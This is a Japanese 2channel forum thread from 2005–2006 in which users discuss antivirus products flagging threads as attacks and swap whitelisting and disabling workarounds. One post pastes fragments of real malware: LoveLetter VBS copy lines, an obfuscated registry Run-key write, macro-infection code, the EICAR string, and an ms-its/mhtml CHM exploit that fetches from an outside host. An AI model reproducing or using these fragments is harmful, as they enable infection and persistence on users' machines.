ノートン誤作動対策本部

**動け動けウゴウゴ２ちゃんねる** · 2005/11/28(月) 16:08:40

詳細: 侵入を検出して遮断しました。 news19.2ch.net(206.223.151.67) とのすべての通信は 30 分間にわたって遮断されます。
アドレスをクリックすると攻撃者を追跡できます
この攻撃について詳しくはシマンテック･セキュリティ･レスポンス

**動け動けウゴウゴ２ちゃんねる** · 2006/03/26(日) 19:38:27

>>731
>>167
まあこの２人がこう発言しているから、やらないでしょう。

**動け動けウゴウゴ２ちゃんねる** · 2006/03/26(日) 19:58:57

ﾉｰﾄﾝにしなきゃいい

**動け動けウゴウゴ２ちゃんねる** · 2006/03/26(日) 20:08:42

フィギュアなんか誰も見ないし、しかも荒川出てないんだし・・・

**動け動けウゴウゴ２ちゃんねる** · 2006/03/26(日) 20:11:55

・・・誤爆ｽﾏﾝｶｯﾀ

**動け動けウゴウゴ２ちゃんねる** · 2006/03/26(日) 23:58:19

(´-`).｡ｏＯ（いちいちあげるか…）

**動け動けウゴウゴ２ちゃんねる** · 2006/03/27(月) 00:57:22

適当な文字を貼り付けるウイルス？あるじゃん
それで無差別にコード貼りまくられたら流石に２ちゃんも対応するだろ。
分からない人の苦情が殺到して対応に追われるから。
>>167は危機感足りないんじゃ？

**動け動けウゴウゴ２ちゃんねる** · 2006/03/27(月) 01:02:58

単なる文字列であって実行ファイルではないのに検知する仕様をどうにかするのと
2ch側の対応、どっちが早いかな。

**動け動けウゴウゴ２ちゃんねる** · 2006/03/27(月) 01:21:18

コード貼り付けなんて何年前からあると思ってんの。
今更危機感足りないとか対応とか望んでも無駄でしょう。

無差別に爆撃ってことなら、コード貼り付け関係なくその爆撃自体は対応するでしょうけどね。

**動け動けウゴウゴ２ちゃんねる** · 2006/03/27(月) 01:21:46

>>738
今までの対応の仕方をみていて、単なる野次馬の予想ですが。

＞適当な文字を貼り付けるウイルス？あるじゃん
これは対応すると思うが（現に今もやっている）

＞それで無差別にコード貼りまくられたら流石に２ちゃんも対応するだろ。
＞分からない人の苦情が殺到して対応に追われるから
こっちは対応いないんじゃないかな？

現に苦情が殺到中のコメントが>>167だった訳だし。
ノートンを切るか、２ｃｈに来ないかと言う答えになると思うよ。

**動け動けウゴウゴ２ちゃんねる** · 2006/03/27(月) 02:08:38

ウィルスじゃないものに反応するものとしないもの、選択権はユーザーにあるわけで
シェアをトレンドマイクロに奪われたりすればシマンテックも誤作動対策に着手するかもしれないが
ユーザーに対策を押し付けるような商売してたら淘汰されるのも仕方ないと思う

**動け動けウゴウゴ２ちゃんねる** · 2006/03/27(月) 03:02:31

結局、「転んでも泣かない」が結論

**動け動けウゴウゴ２ちゃんねる** · 2006/03/27(月) 07:09:30

何でこのスレはいろいろはってあるのにスレが取得できるの？

**sage** · 2006/03/27(月) 07:24:02

出会い系⇔ニューリンク

**動け動けウゴウゴ２ちゃんねる** · 2006/03/27(月) 10:02:20

強いて言えば、危機感足りてないのはシマンテック。

**動け動けウゴウゴ２ちゃんねる** · NG

シマンテックの日本支社はおそらく事態を把握してるだろうけど、
エンジンを書き換えるとなると本社の対応が必要なわけで、
「ある一つの掲示板が見られなくなる」ということの重要性が
あっちに伝わらないんだろうと思われ。

1000万人のネットユーザから不買運動されたらさすがに考えると
思うけど、そういう組織だった動きにもなっていないし。

もっとも、Antinny亜種の対応に追われている状況では
２ちゃんに対してあまり好意的にはなれないことも考えられるが。

**外野ｧｧﾝ** · 2006/03/27(月) 12:45:20

> もっとも、Antinny亜種の対応に追われている状況では
> ２ちゃんに対してあまり好意的にはなれないことも考えられるが。

ウィルスがあってこそのアンチウィルスソフトだから、
新種ウィルスの発現はむしろ喜ばしく思ってたりするんじゃないスかね

**動け動けウゴウゴ２ちゃんねる** · 2006/03/27(月) 12:49:35

この期に及んで2ちゃんでの誤作動に対応したら面白いな
仕様変更しない限り対応はしないんじゃねえかなぁ
それともユーザーが束になって苦情入れたら対応するのかな？

**外野ｧｧﾝ** · 2006/03/27(月) 12:50:05

スレ違いの部分にレスをつけてしまった予感
もしくは恋の予感
ごめん

**動け動けウゴウゴ２ちゃんねる** · 2006/03/27(月) 15:27:25

2ch対応
これだけで日本での売り上げが伸びるのにな

**名無しの洞窟** ◆A8o1Gm.EXE · 2006/03/27(月) 15:36:27

シマンテック本社に英文で熱烈なラブコールすればいいんじゃね？

NG

>>751
切に願う

ttp://dictionary.www.infoseek.co.jp/?sv=KO&qt=%C0%DA%A4%CB&sm=1&lp=0&se=on&gr=ml

>>752
言いだしっぺの（ｒｙ

ってラブレターなのかいｗ
http://pc7.2ch.net/test/read.cgi/pcqa/1109609938/365
無しの礫・・・
ソース入れたから撥ねられているんだろなぁ～

Monazilla/1.00 (JaneView/0.1.12.1)

**動け動けウゴウゴ２ちゃんねる** · 2006/03/27(月) 16:34:49

対応する気なんか無いでしょ。
2002のころから、正規ユーザーとしてバージョンアップごとに
シマンテックにはご注進してきたのに、ラブレター文字列すら対応しないんだもの。

今回も、ワーム防止に自分ルール追加しろ、って返事だったよ。
(2chのサーバIPアドレスを信頼するように設定して回避しろと)

**動け動けウゴウゴ２ちゃんねる** · 2006/03/27(月) 16:58:55

さぁー回ってきましたっ！
この文を3～10ヵ所に貼り付け、回してくださいｗ
これをやった貴方は絶対に夢や学校一のモテ仔に
なりますｗ
やんなかったら不幸が突撃します
もうココまで読んでしまった人は最低3ヵ所は回さないと絶対不幸が100％突撃して死亡するでしょう
この画像は最低3ヵ所回してから見てください
こちら
3～10ヵ所って事は3箇所以上だったらなんでもいんですよっ！
やればやるほどし・あ・わ・せ！
これやった人は実際に
両思いになれたり、
学校一のモテ仔になれたり、
夢が叶ったり
欲しい物が手に入ったり。
一気に幸せが手に入ります
だから移せば移すほどお得！
成功した人の名前↓
山田三春
中野　純
その他にもたっくさん叶った人が居ます
だから回してね失敗した人なんて居ません

**動け動けウゴウゴ２ちゃんねる** · 2006/03/27(月) 21:38:34

http://mickey.mirv.net/2chnis.html
にある対処方法(2chサーバのIPアドレスを除外する)はNISだけなんで、
NAV2005でそれらしい箇所探した。

「オプション」→「インターネットワーム防止」→「一般ルール」→「Default Non-Routable IPs」を「修正」→「処理」タブで「許可」→「コンピュータ」タブの「下のリストにあるコンピュータとサイトのみ」で「追加」→「個別」

のとこにコピペでいいと思う。右クリックで貼り付けがきかなかったので、Ctrl+Vでやった。

**動け動けウゴウゴ２ちゃんねる** · 2006/03/27(月) 22:31:53

もしかして対応された？
遮断されるスレ開いても（ログも削除した）何も起きないんだけど

**動け動けウゴウゴ２ちゃんねる** · 2006/03/27(月) 22:33:03

デジャブ

**動け動けウゴウゴ２ちゃんねる** · 2006/03/28(火) 00:02:18

2003だと対応の施しようがない・・・

**動け動けウゴウゴ２ちゃんねる** · 2006/03/28(火) 21:07:54

>>757
LiveUpdateしても、このスレを再所得すると反応するよ。
対応されていないのでは？

**動け動けウゴウゴ２ちゃんねる** · 2006/03/30(木) 19:46:50

さっき先生が誤作動起した。
２ちゃんから攻撃されたので遮断しますたって
なんとか解除したけど

**動け動けウゴウゴ２ちゃんねる** · 2006/03/31(金) 22:00:47

ノートンのソフト自体の終了方法ってないの？
タスクマネージャ見てもどれがどれだかさっぱり・・・。

**動け動けウゴウゴ２ちゃんねる** · 2006/03/31(金) 23:28:25

ノートンの機能自体の質問は板違いです
セキュリティ板のノートンスレとかシマンテックに聞け

**動け動けウゴウゴ２ちゃんねる** · 2006/04/02(日) 01:06:00

当方AVGなんですが
http://tmp6.2ch.net/test/read.cgi/download/1142734610/
ここの2にAVGが反応するんですが
反応しないようにするにはどうしたらいいんですかね？

**動け動けウゴウゴ２ちゃんねる** · NG

そのスレをあぼーん。
ていうかうちもAVGだか、なんともないけどな？

**動け動けウゴウゴ２ちゃんねる** · 2006/04/02(日) 03:11:11

おれもそっちは大丈夫
こっちがだめだ。875までは大丈夫だったんだけど
http://tmp6.2ch.net/test/read.cgi/download/1143304561/

**動け動けウゴウゴ２ちゃんねる** · 2006/04/02(日) 16:52:52

>>764-766
まぁセキュリティ板行けって話だけど、AVGは有償のPro版でないと除外指定ができない。

**動け動けウゴウゴ２ちゃんねる** · 2006/04/02(日) 16:55:22

昨日が３月３２日だよ

**動け動けウゴウゴ２ちゃんねる** · 2006/04/02(日) 16:56:11

誤爆スマソ

**動け動けウゴウゴ２ちゃんねる** · 2006/04/02(日) 18:17:31

今日ノートンが反応してここに誘導してもらって最初から読んでたけど、
NIS入れてないし侵入検知って項目も無いのに…て思ってたらNAVでも反応するのか。
ここまで読むの大変だったけどためになったわ有り難う

**動け動けウゴウゴ２ちゃんねる** · 2006/04/05(水) 06:28:02

当方マカフィーなのだが、下記のスレを取得しようとすると大激怒されて、
該当datが抹殺されたあげくネットアクセスが遮断されてしまう…　orz

【領事館員自殺】中国側、機密を執拗に要求…総領事あての遺書入手（読売新聞）★２
ttp://news19.2ch.net/test/read.cgi/newsplus/1143894478/l50

…時々こういう事が起こるのだが、その都度運営板の
どこぞかの該当スレに通報した方がイイのかしらん？

**動け動けウゴウゴ２ちゃんねる** · 2006/04/05(水) 07:24:50

>>771
マカフィーも反応するんだ。そこの9スレ目で。

**動け動けウゴウゴ２ちゃんねる** · 2006/04/05(水) 07:31:20

>>771
とりあえず製品の不具合（ウィルスじゃないものに反応する）はマカフィーに通報でいい

**動け動けウゴウゴ２ちゃんねる** · NG

>771-772
マカフィーを窓から投げ捨てろ。
さもなきゃ自分の頭を窓から投げ捨てろ。

**動け動けウゴウゴ２ちゃんねる** · 2006/04/05(水) 07:44:55

>>774
いやNIS2005だけどもうすぐ切れるからマカフィーにしようかなと。

**動け動けウゴウゴ２ちゃんねる** · 2006/04/05(水) 22:06:28

ｱﾎﾞｰｿすればいいじゃん。
漏れのノートン先生は無反応になったぜ。
専ブラ使っていれば、な。

**動け動けウゴウゴ２ちゃんねる** · 2006/04/06(木) 15:48:38

NAVの場合の設定を教えてくれー

インターネットワーム防止で
ナニをシグネチャ除外すれば良いんだ？

**動け動けウゴウゴ２ちゃんねる** · 2006/04/06(木) 20:22:55

>>777
>>727

**動け動けウゴウゴ２ちゃんねる** · 2006/04/06(木) 20:34:03

>>778
THX

HTTP MSIE JavaScript OnLoad Rte CodeExec

って　「MS IE」と別のとこにあるのな…ないよーと思って困ってました。

**動け動けウゴウゴ２ちゃんねる** · 2006/04/07(金) 10:26:14

ms-its:mhtml:file://C:\

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

<body onload=window()>

c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) 　　
ms-its:mhtml:file://c:\　
kak.hta';ken=wd+'START
End Sub

G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WC

**動け動けウゴウゴ２ちゃんねる** · 2006/04/07(金) 10:34:49

>>780
で？

**ﾉtasukeruyo** · NG

ν速だけでも

伝書鳩

**動け動けウゴウゴ２ちゃんねる** · 2006/04/07(金) 23:59:38

↑なにこれ

**動け動けウゴウゴ２ちゃんねる** · 2006/04/08(土) 05:07:05

ウィルスコードだろ

**動け動けウゴウゴ２ちゃんねる** · 2006/04/08(土) 14:52:00

2005でも誤作動するようになったな
専ブラのあぼーんよりも先にノートンがdatに反応するようになったのが原因ぽい

**動け動けウゴウゴ２ちゃんねる** · 2006/04/08(土) 18:22:00

>>75で2chは問題なくなったがしたらばがまだだめだ

**動け動けウゴウゴ２ちゃんねる** · 2006/04/08(土) 19:33:27

にはは、こやつめ

**動け動けウゴウゴ２ちゃんねる** · 2006/04/09(日) 08:35:16

このスレ、更新しようとすると、NISにブロックされて、専ブラのタブが赤くなる。（JaneDoeStyle223)
あぼーんワードはどれですか？

今はNISを無効にしてカキコしています。

**動け動けウゴウゴ２ちゃんねる** · 2006/04/09(日) 09:57:32

ログ読むと幸せになれるよ

**動け動けウゴウゴ２ちゃんねる** · 2006/04/10(月) 18:40:26

>>521氏のレスを参考に汁

**動け動けウゴウゴ２ちゃんねる** · 2006/04/10(月) 19:43:50

わかったにゃー

**788** · 2006/04/10(月) 23:20:01

>>510
>>512
>>517

これらはすべてｱﾎﾞｰｿしてあります。
NISの設定も変えていませんでした。

>>780-785あたりでJaneDoeStyle223がおかしくなりました。
他スレでは何ともありません。

で、あれからは、ログを取得し直しただけですが、無問題になりました。
いったい何だったんだろう。
ログが壊れただけだったのかな…。

**動け動けウゴウゴ２ちゃんねる** · 2006/04/12(水) 15:42:54

なんかバスターが2ちゃんのスレをIEで見るとそれだけでウイルス検知するようになったらしいね・・・
先生よりアグレッシブだな

**動け動けウゴウゴ２ちゃんねる** · 2006/04/12(水) 16:23:57

そのようだな

　　ウィルスバスター蛾壊れた　　
http://live22x.2ch.net/test/read.cgi/news/1144822966/

**動け動けウゴウゴ２ちゃんねる** · 2006/04/12(水) 16:47:09

>>794
そしてもう対応

**名無しの洞窟** ◆A8o1Gm.EXE · 2006/04/12(水) 17:28:00

ああ、なんかさっきアップロードしおったのはそれか

**動け動けウゴウゴ２ちゃんねる** · 2006/04/12(水) 18:58:07

まあ、あれだ。
アップデートとアップロードを間違えるのはここだけにしておけ。

**名無しの洞窟** ◆A8o1Gm.EXE · 2006/04/12(水) 20:31:16

素で間違えてた……orz

**動け動けウゴウゴ２ちゃんねる** · 2006/04/13(木) 15:14:15

>>794
また誰かがウィルスコード貼ったのか…(泣

馬鹿フィーが大激怒　orz

**動け動けウゴウゴ２ちゃんねる** · 2006/04/15(土) 15:03:59

ダウン版見れないのはＮＩＳのせい？

**動け動けウゴウゴ２ちゃんねる** · 2006/04/15(土) 15:34:28

疑いを持ったなら

**動け動けウゴウゴ２ちゃんねる** · 2006/04/15(土) 15:35:13

ノートン全部切ればわかる

**動け動けウゴウゴ２ちゃんねる** · 2006/04/17(月) 22:27:09

道理だな。

**動け動けウゴウゴ２ちゃんねる** · 2006/04/18(火) 01:55:50

>>782はなに？
横棒と青字の伝書鳩ってなに

**ﾉtasukeruyo** · 2006/04/18(火) 02:04:50

この板限定の機能
tasukeruyoするとuserAgent情報が表示される
でもスレ違い

Monazilla/1.00 (JaneStyle/2.23)

**動け動けウゴウゴ２ちゃんねる** · 2006/04/18(火) 23:18:38

すいません、私はノートンではなくシマンテックアンチウイルスを使ってるのですが、この場合はどのように対処すればいいんでしょうか
既出の問題でしたらすいません

**動け動けウゴウゴ２ちゃんねる** · 2006/04/18(火) 23:21:27

>>727

**動け動けウゴウゴ２ちゃんねる** · 2006/04/19(水) 01:07:29

>>807
ありがとうございます
私はノートンアンチウイルスではなくてシマンテックアンチウイルスを使ってるのですが、同じようにできるのですか？
オプションが見つからないのですが・・・

**動け動けウゴウゴ２ちゃんねる** · 2006/04/19(水) 01:15:01

>>808
ノートンアンチウイルスの場合
オプション→インターネットワーム防止→有効にするのチェックはずしてみ

**動け動けウゴウゴ２ちゃんねる** · 2006/04/19(水) 01:22:14

シマンテックアンチウイルスってはじめて聞いたや
ぐぐったところ企業用？
よくわからんが個人のPCにどこまで権限あるのかねぇ

**動け動けウゴウゴ２ちゃんねる** · 2006/04/20(木) 14:40:19

>>810
説明不足ですいません、企業用のものです
一応無償でもらったノートPCなのですが・・・
ノートンに変えていいか聞いてみます

b-bf2-2029.noc.ntt-west.nsk.ne.jp(61.198.94.29) · 2006/04/26(水) 22:30:50

てｓｔ

Monazilla/1.00 (JaneStyle/2.23)

**動け動けウゴウゴ２ちゃんねる** · 2006/04/27(木) 03:48:52

↑なんなのさコレ

**動け動けウゴウゴ２ちゃんねる** · 2006/04/27(木) 03:57:17

>>813
>>805

ntoknw022080.oknw.nt.adsl.ppp.infoweb.ne.jp(211.133.72.80) · 2006/04/27(木) 04:11:59

test

Monazilla/1.00 (JaneNida/060425)

**動け動けウゴウゴ２ちゃんねる** · 2006/04/27(木) 04:19:36

[test] 書き込みテスト専用スレッド 62 [ﾃｽﾄ]
http://qb5.2ch.net/test/read.cgi/operate/1145833088/

**動け動けウゴウゴ２ちゃんねる** · 2006/04/29(土) 08:20:30

また、マカフィーが大激怒…

任天堂新ハード正式名称発表その名も「wii（ｳｨｰ）」
ttp://live22x.2ch.net/test/read.cgi/news/1146155170/

…｢ノートン先生｣みたいに、スキャン対象から簡単に外せないんだから、ウィルスコード貼るな！

お願いしますよ　orz

**動け動けウゴウゴ２ちゃんねる** · 2006/04/29(土) 09:51:08

>>817
>>167

**動け動けウゴウゴ２ちゃんねる** · 2006/04/29(土) 11:58:05

『Exploit-MhtRedir.gen』止めて…　(鬱氏

eatkyo230110.adsl.ppp.infoweb.ne.jp(218.229.149.110) · 2006/05/01(月) 02:17:44

tes

Monazilla/1.00 (JaneNida/060425)

**動け動けウゴウゴ２ちゃんねる** · NG

【戦争】涼宮ハルヒED１位阻止大作戦【ν速対VIP】
http://live22x.2ch.net/test/read.cgi/news/1146579961/l50
たぶんこいつにやられた。実際食らったのは初めてだよ。

187.72.30.125.dy.iij4u.or.jp(125.30.72.187) · 2006/05/06(土) 02:41:29

ためさせて・・

Monazilla/1.00 (V2C/T20060424)

**名無しの洞窟** ◆A8o1Gm.EXE · 2006/05/06(土) 11:37:58

テストはこっちでやれや
[test] 書き込みテスト専用スレッド 62 [ﾃｽﾄ]
http://qb5.2ch.net/test/read.cgi/operate/1145833088/

**動け動けウゴウゴ２ちゃんねる** · 2006/05/06(土) 13:12:03

あんちういるす2006の一般ルールで追加許可してもだめだ（´･ω･）ﾜｹﾜｶﾝﾈ

**動け動けウゴウゴ２ちゃんねる** · 2006/05/06(土) 13:29:11

>>824
オプション→インターネットワーム防止→AutoBlockで遮断しているIPがあれば除外
→防止を有効にするのチェック外してログ取得
これでもダメ？

**動け動けウゴウゴ２ちゃんねる** · 2006/05/06(土) 13:36:21

>>825
今やってみた、ﾀﾞﾒだった（´･ω･）ｃｃｇｒｇｆｖｖｂｔぶぐｔｖｇｆｘｄｂｃｒｇｖｆ

**動け動けウゴウゴ２ちゃんねる** · 2006/05/06(土) 13:42:19

>>825
あ、もう一回やってみたら大丈夫だった

**動け動けウゴウゴ２ちゃんねる** · 2006/05/13(土) 03:20:08

また、コード貼った馬鹿が…　orz

【国際】「麻薬の運び屋に仕立てられた」　無罪訴え続けた日本人男性、逮捕から１４年で仮釈放…オーストラリア
ttp://news19.2ch.net/test/read.cgi/newsplus/1147357192/

ｼｸｼｸｼｸ

**動け動けウゴウゴ２ちゃんねる** · 2006/05/13(土) 04:31:25

んなこといちいち報告するおのれも馬鹿じゃ

**動け動けウゴウゴ２ちゃんねる** · 2006/05/13(土) 10:31:19

昨日あたりから板を開くとノートンが反応するんだけど、
同じ境遇の人っている？

**動け動けウゴウゴ２ちゃんねる** · 2006/05/13(土) 10:33:30

>>830
よくある誤作動かと思います。
とりあえずノートン切ってから、ログ取得してみてください。

**動け動けウゴウゴ２ちゃんねる** · 2006/05/13(土) 13:57:27

ノートンを誤作動させる文字列は何年も前からあるし、シマンテックに連絡しても
これで正常と言って対策しない。
つまりシマンテックは自力で対策できる人だけ買ってくれればいいと言っている。
そんなソフトは>>167

**得ROM街の悪無** ◆wv57DoER0M · 2006/05/13(土) 18:17:51

AntiVirus の設定→除外→C:\Program Files\Jane\Logs
2chブラウザ使ってるならこれでいいでそ